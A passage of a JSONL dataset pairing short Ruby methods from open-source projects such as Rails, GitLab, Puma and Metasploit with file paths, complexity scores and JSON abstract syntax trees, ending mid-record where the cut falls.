{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor.rb","start_line":110,"raw_source":"def key_store\n    @key_store ||= MiqMemcached.client(:namespace => \"server_monitor\")\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"key_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqMemcached\"]},\"client\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"server_monitor\"]}]}]}]}]}]}","id":"16d88e5f-17a0-40b5-bde3-8b12bd8357ab"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_and_time_behavior.rb","start_line":323,"raw_source":"def test_on_weekend_on_sunday\n    assert_predicate date_time_init(2015, 1, 4, 0, 0, 0), :on_weekend?\n    assert_predicate date_time_init(2015, 1, 4, 15, 15, 10), :on_weekend?\n  end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_weekend_on_sunday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"sym\",\"children\":[\"on_weekend?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"sym\",\"children\":[\"on_weekend?\"]}]}]}]}","id":"c2b7d676-8eef-4a98-94b0-920042f649cb"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/rack/builder.rb","start_line":289,"raw_source":"def generate_map(default_app, mapping)\n      require_relative 'urlmap'\n\n      mapped = default_app ? {'/' => default_app} : {}\n      mapping.each { |r,b| mapped[r] = self.class.new(default_app, &b).to_app }\n      URLMap.new(mapped)\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"default_app\"]},{\"type\":\"arg\",\"children\":[\"mapping\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"urlmap\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapped\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"lvar\",\"children\":[\"default_app\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapped\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"default_app\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},\"to_app\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URLMap\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mapped\"]}]}]}]}","id":"b3c8dba2-6343-4fb2-81f7-54de2721349a"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_supervisor.rb","start_line":40,"raw_source":"def teardown\n    $log = @stored_global_logger\n    begin\n      FileUtils.rm_rf(@tmp_dir)\n    rescue Errno::EACCES\n      # It may occur on Windows because of delete pending state due to delayed GC.\n      # Ruby 3.2 or later doesn't ignore Errno::EACCES:\n      # https://github.com/ruby/ruby/commit/983115cf3c8f75b1afbe3274f02c1529e1ce3a81\n    end\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$log\",{\"type\":\"ivar\",\"children\":[\"@stored_global_logger\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"ivar\",\"children\":[\"@tmp_dir\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EACCES\"]}]},null,null]},null]}]}]}]}","id":"f093aed9-5300-4f3a-b838-6e15ee3ff2da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/processor.rb","start_line":31,"raw_source":"def initialize(capsule, &block)\n      @config = @capsule = capsule\n      @callback = block\n      @down = false\n      @done = false\n      @job = nil\n      @thread = nil\n      @reloader = Sidekiq.default_configuration[:reloader]\n      @job_logger = (capsule.config[:job_logger] || Sidekiq::JobLogger).new(capsule.config)\n      @retrier = Sidekiq::JobRetry.new(capsule)\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"capsule\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"ivasgn\",\"children\":[\"@capsule\",{\"type\":\"lvar\",\"children\":[\"capsule\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@down\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@done\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@job\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@reloader\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reloader\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@job_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capsule\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_logger\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"JobLogger\"]}]}]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capsule\"]},\"config\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@retrier\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"JobRetry\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"capsule\"]}]}]}]}]}","id":"b450b888-7dda-4f89-8beb-af1d4668ae15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/base_template.rb","start_line":131,"raw_source":"def template_subsets(project = nil)\n          return [] if project && !project.repository.exists?\n\n          if categories.any?\n            categories.keys.to_h do |category|\n              files = self.by_category(category, project)\n              [category, files.map { |t| { key: t.key, name: t.name, content: t.content } }]\n            end\n          else\n            files = self.all(project)\n            files.map { |t| { key: t.key, name: t.name, content: t.content } }\n          end\n        end","complexity_score":33.2,"ast_json":"{\"type\":\"def\",\"children\":[\"template_subsets\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"exists?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"categories\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"categories\"]},\"keys\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"by_category\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"content\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"content\"]}]}]}]}]}]}]}]}","id":"1436f9ef-4345-4b43-b263-0206d618eb64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/incoming_email/mail_room_running_check.rb","start_line":36,"raw_source":"def mail_room_enabled?\n        target = '/usr/local/lib/systemd/system/gitlab.target'\n        service = '/usr/local/lib/systemd/system/gitlab-mailroom.service'\n\n        File.exist?(target) && File.exist?(service) && systemd_get_wants('gitlab.target').include?(\"gitlab-mailroom.service\")\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mail_room_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"str\",\"children\":[\"/usr/local/lib/systemd/system/gitlab.target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"str\",\"children\":[\"/usr/local/lib/systemd/system/gitlab-mailroom.service\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"service\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"systemd_get_wants\",{\"type\":\"str\",\"children\":[\"gitlab.target\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"gitlab-mailroom.service\"]}]}]}]}]}","id":"cfeee0f4-84ba-4c7c-8f6b-c34ce3c1077f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker_type.rb","start_line":55,"raw_source":"private_class_method def self.clean_worker_types\n    where.not(:worker_type => classes_for_seed.map(&:to_s)).destroy_all\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clean_worker_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"classes_for_seed\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}]},\"destroy_all\"]}]}]}","id":"f340e127-b746-4c4f-88d7-863b7fe77386"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":264,"raw_source":"def prepare_pending_direct_upload(path)\n        ObjectStorage::PendingDirectUpload.prepare(\n          storage_location_identifier,\n          path\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_pending_direct_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"PendingDirectUpload\"]},\"prepare\",{\"type\":\"send\",\"children\":[null,\"storage_location_identifier\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"600a7023-6f99-4d5b-9820-de1339d0b208"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/chronic_duration_attribute.rb","start_line":42,"raw_source":"def output_chronic_duration_attribute(source_attribute)\n    value = attributes[source_attribute.to_s]\n    ChronicDuration.output(value, format: :short) if value\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"output_chronic_duration_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_attribute\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChronicDuration\"]},\"output\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"short\"]}]}]}]},null]}]}]}","id":"c0126473-79c0-48fc-b52a-d55a39c21905"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb","start_line":564,"raw_source":"def cmd_rmdir_help\n            print_line 'Usage: rmdir <remote_path>'\n            print_line\n            print_line 'Delete a directory from the remote target.'\n            print @@rmdir_opts.usage\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_rmdir_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: rmdir <remote_path>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Delete a directory from the remote target.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@rmdir_opts\"]},\"usage\"]}]}]}]}","id":"ac9afc38-b396-49d2-904f-d9350c2a4ebc"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/blob/servable.rb","start_line":8,"raw_source":"def forced_disposition_for_serving\n    if forcibly_serve_as_binary? || !allowed_inline?\n      :attachment\n    end\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"forced_disposition_for_serving\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forcibly_serve_as_binary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_inline?\"]},\"!\"]}]},{\"type\":\"sym\",\"children\":[\"attachment\"]},null]}]}","id":"c502711f-3211-43de-b39d-7db9fd1aa19e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/primary_keys_test.rb","start_line":55,"raw_source":"def test_read_attribute_with_composite_primary_key\n    book = Cpk::Book.new(id: [1, 2])\n    id = assert_not_deprecated(ActiveRecord.deprecator) do\n      book.read_attribute(:id)\n    end\n\n    assert_equal 2, id\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_read_attribute_with_composite_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"book\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_deprecated\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"deprecator\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"read_attribute\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"69bf9739-854b-4bc5-939f-a515f6302fde"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inbox_members_controller.rb","start_line":53,"raw_source":"def agents_to_be_removed_ids\n    @current_agents_ids - params[:user_ids]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"agents_to_be_removed_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_agents_ids\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_ids\"]}]}]}]}","id":"c43ea948-b653-4c18-8369-33dcb23f7904"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/destinations/snowplow.rb","start_line":55,"raw_source":"def app_id\n          if Gitlab::CurrentSettings.snowplow_enabled?\n            Gitlab::CurrentSettings.snowplow_app_id\n          else\n            product_usage_event_app_id\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"app_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"snowplow_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"snowplow_app_id\"]},{\"type\":\"send\",\"children\":[null,\"product_usage_event_app_id\"]}]}]}","id":"c86480b5-062d-4dfa-b070-949252563db3"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1367,"raw_source":"def test_partial_with_form_builder_and_invalid_model_custom_rendering_field_error_proc\n    old_proc = ActionView::Base.field_error_proc\n    ActionView::Base.field_error_proc = proc do |html_tag, instance|\n      render inline: <<~ERB, locals: { html_tag: html_tag, instance: instance }\n        <div class=\"field_with_errors\"><%= html_tag %> <span class=\"error\"><%= [instance.error_message].join(', ') %></span></div>\n      ERB\n    end\n\n    get :partial_with_form_builder_and_invalid_model\n\n    assert_equal <<~HTML.strip, @response.body.strip\n      <div class=\"field_with_errors\"><label for=\"post_title\">Title</label> <span class=\"error\">can&#39;t be blank</span></div>\n    HTML\n  ensure\n    ActionView::Base.field_error_proc = old_proc if old_proc\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_partial_with_form_builder_and_invalid_model_custom_rendering_field_error_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_proc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"field_error_proc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"field_error_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html_tag\"]},{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"<div class=\\\"field_with_errors\\\"><%= html_tag %> <span class=\\\"error\\\"><%= [instance.error_message].join(', ') %></span></div>\\n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html_tag\"]},{\"type\":\"lvar\",\"children\":[\"html_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance\"]},{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"partial_with_form_builder_and_invalid_model\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<div class=\\\"field_with_errors\\\"><label for=\\\"post_title\\\">Title</label> <span class=\\\"error\\\">can&#39;t be blank</span></div>\\n\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]},\"strip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"field_error_proc=\",{\"type\":\"lvar\",\"children\":[\"old_proc\"]}]},null]}]}]}","id":"9cdd1cc9-38cf-4044-950b-bc00f4516a1f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/mail_notification_helper.rb","start_line":50,"raw_source":"def status_colors(status)\n    color_id = selected_color(status)\n    Color.find(color_id).color_styles_css if color_id\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"status_colors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"color_id\",{\"type\":\"send\",\"children\":[null,\"selected_color\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Color\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"color_id\"]}]},\"color_styles_css\"]},null]}]}]}","id":"4a751868-9118-4e8b-9046-c11493771577"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/x509/signature.rb","start_line":183,"raw_source":"def certificate_subject\n        cert.subject.to_s(OpenSSL::X509::Name::RFC2253)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_subject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cert\"]},\"subject\"]},\"to_s\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Name\"]},\"RFC2253\"]}]}]}","id":"92b6b20d-5e4e-491e-b3fc-ddf60a9d277e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/peek/views/gitaly.rb","start_line":26,"raw_source":"def duration\n        ::Gitlab::GitalyClient.query_time * 1000\n      end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"duration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"GitalyClient\"]},\"query_time\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]}","id":"5c0f9e13-0cea-4ab8-af8a-f619178c733b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":309,"raw_source":"def commit_records\n        if records\n          begin\n            ite = unique_records\n\n            if @run_commit_callbacks\n              instances_to_run_callbacks_on = prepare_instances_to_run_callbacks_on(ite)\n\n              run_action_on_records(ite, instances_to_run_callbacks_on) do |record, should_run_callbacks|\n                record.committed!(should_run_callbacks: should_run_callbacks)\n              end\n            else\n              while record = ite.shift\n                # if not running callbacks, only adds the record to the parent transaction\n                connection.add_transaction_record(record)\n              end\n            end\n          ensure\n            ite&.each { |i| i.committed!(should_run_callbacks: false) }\n          end\n        end\n\n        if @run_commit_callbacks\n          @callbacks&.each(&:after_commit)\n        elsif @callbacks\n          connection.current_transaction.append_callbacks(@callbacks)\n        end\n      end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ite\",{\"type\":\"send\",\"children\":[null,\"unique_records\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@run_commit_callbacks\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instances_to_run_callbacks_on\",{\"type\":\"send\",\"children\":[null,\"prepare_instances_to_run_callbacks_on\",{\"type\":\"lvar\",\"children\":[\"ite\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_action_on_records\",{\"type\":\"lvar\",\"children\":[\"ite\"]},{\"type\":\"lvar\",\"children\":[\"instances_to_run_callbacks_on\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"should_run_callbacks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"committed!\",{\"type\":\"hash\",\"children\":